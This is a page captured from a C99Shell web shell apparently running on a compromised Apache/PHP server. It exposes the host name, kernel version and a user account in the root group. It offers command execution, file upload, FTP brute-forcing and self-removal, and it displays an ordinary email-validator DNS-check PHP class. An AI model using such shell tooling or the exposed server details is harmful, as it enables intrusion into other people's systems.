!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/egulias/email-validator/src/Validation/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DNSCheckValidation.php (4.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Egulias\EmailValidator\Validation;

use 
Egulias\EmailValidator\EmailLexer;
use 
Egulias\EmailValidator\Exception\InvalidEmail;
use 
Egulias\EmailValidator\Exception\LocalOrReservedDomain;
use 
Egulias\EmailValidator\Exception\DomainAcceptsNoMail;
use 
Egulias\EmailValidator\Warning\NoDNSMXRecord;
use 
Egulias\EmailValidator\Exception\NoDNSRecord;

class 
DNSCheckValidation implements EmailValidation
{
    
/**
     * @var array
     */
    
private $warnings = [];

    
/**
     * @var InvalidEmail|null
     */
    
private $error;

    
/**
     * @var array
     */
    
private $mxRecords = [];


    public function 
__construct()
    {
        if (!
function_exists('idn_to_ascii')) {
            throw new 
\LogicException(sprintf('The %s class requires the Intl extension.'__CLASS__));
        }
    }

    public function 
isValid($emailEmailLexer $emailLexer)
    {
        
// use the input to check DNS if we cannot extract something similar to a domain
        
$host $email;

        
// Arguable pattern to extract the domain. Not aiming to validate the domain nor the email
        
if (false !== $lastAtPos strrpos($email'@')) {
            
$host substr($email$lastAtPos 1);
        }

        
// Get the domain parts
        
$hostParts explode('.'$host);

        
// Reserved Top Level DNS Names (https://tools.ietf.org/html/rfc2606#section-2),
        // mDNS and private DNS Namespaces (https://tools.ietf.org/html/rfc6762#appendix-G)
        
$reservedTopLevelDnsNames = [
            
// Reserved Top Level DNS Names
            
'test',
            
'example',
            
'invalid',
            
'localhost',

            
// mDNS
            
'local',

            
// Private DNS Namespaces
            
'intranet',
            
'internal',
            
'private',
            
'corp',
            
'home',
            
'lan',
        ];

        
$isLocalDomain count($hostParts) <= 1;
        
$isReservedTopLevel in_array($hostParts[(count($hostParts) - 1)], $reservedTopLevelDnsNamestrue);

        
// Exclude reserved top level DNS names
        
if ($isLocalDomain || $isReservedTopLevel) {
            
$this->error = new LocalOrReservedDomain();
            return 
false;
        }

        return 
$this->checkDns($host);
    }

    public function 
getError()
    {
        return 
$this->error;
    }

    public function 
getWarnings()
    {
        return 
$this->warnings;
    }

    
/**
     * @param string $host
     *
     * @return bool
     */
    
protected function checkDns($host)
    {
        
$variant INTL_IDNA_VARIANT_UTS46;

        
$host rtrim(idn_to_ascii($hostIDNA_DEFAULT$variant), '.') . '.';

        return 
$this->validateDnsRecords($host);
    }


    
/**
     * Validate the DNS records for given host.
     *
     * @param string $host A set of DNS records in the format returned by dns_get_record.
     *
     * @return bool True on success.
     */
    
private function validateDnsRecords($host)
    {
        
// Get all MX, A and AAAA DNS records for host
        // Using @ as workaround to fix https://bugs.php.net/bug.php?id=73149
        
$dnsRecords = @dns_get_record($hostDNS_MX DNS_A DNS_AAAA);


        
// No MX, A or AAAA DNS records
        
if (empty($dnsRecords)) {
            
$this->error = new NoDNSRecord();
            return 
false;
        }

        
// For each DNS record
        
foreach ($dnsRecords as $dnsRecord) {
            if (!
$this->validateMXRecord($dnsRecord)) {
                return 
false;
            }
        }

        
// No MX records (fallback to A or AAAA records)
        
if (empty($this->mxRecords)) {
            
$this->warnings[NoDNSMXRecord::CODE] = new NoDNSMXRecord();
        }

        return 
true;
    }

    
/**
     * Validate an MX record
     *
     * @param array $dnsRecord Given DNS record.
     *
     * @return bool True if valid.
     */
    
private function validateMxRecord($dnsRecord)
    {
        if (
$dnsRecord['type'] !== 'MX') {
            return 
true;
        }

        
// "Null MX" record indicates the domain accepts no mail (https://tools.ietf.org/html/rfc7505)
        
if (empty($dnsRecord['target']) || $dnsRecord['target'] === '.') {
            
$this->error = new DomainAcceptsNoMail();
            return 
false;
        }

        
$this->mxRecords[] = $dnsRecord;

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--